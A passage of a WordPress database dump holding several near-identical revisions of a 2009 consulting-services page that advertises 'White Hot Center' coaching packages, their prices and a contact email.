bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:50:34', '2009-06-30 21:50:34', '', 138, 'http://www.whitehotcenter.com/138-revision-25/', 0, 'revision', '', 0);
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(331, 2, '2009-06-30 14:51:42', '2009-06-30 21:51:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:51:42', '2009-06-30 21:51:42', '', 138, 'http://www.whitehotcenter.com/138-revision-26/', 0, 'revision', '', 0),
(332, 2, '2009-06-30 14:58:20', '2009-06-30 21:58:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span>\r\n\r\n<span style="color: #333333;">1)    what you do must matter to you</span>\r\n\r\n<span style="color: #333333;">2)    what you do must matter to others</span>\r\n\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:58:20', '2009-06-30 21:58:20', '', 138, 'http://www.whitehotcenter.com/138-revision-27/', 0, 'revision', '', 0),
(335, 2, '2009-06-30 15:04:33', '2009-06-30 22:04:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:\r\n\r\n1) what you do must matter to you\r\n2) what you do must matter to others</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:04:33', '2009-06-30 22:04:33', '', 138, 'http://www.whitehotcenter.com/138-revision-30/', 0, 'revision', '', 0),
(336, 2, '2009-06-30 15:05:29', '2009-06-30 22:05:29', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:1) what you do must matter to you\r\n2) what you do must matter to others\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:05:29', '2009-06-30 22:05:29', '', 138, 'http://www.whitehotcenter.com/138-revision-31/', 0, 'revision', '', 0),
(337, 2, '2009-06-30 15:06:05', '2009-06-30 22:06:05', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) what you do must matter to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 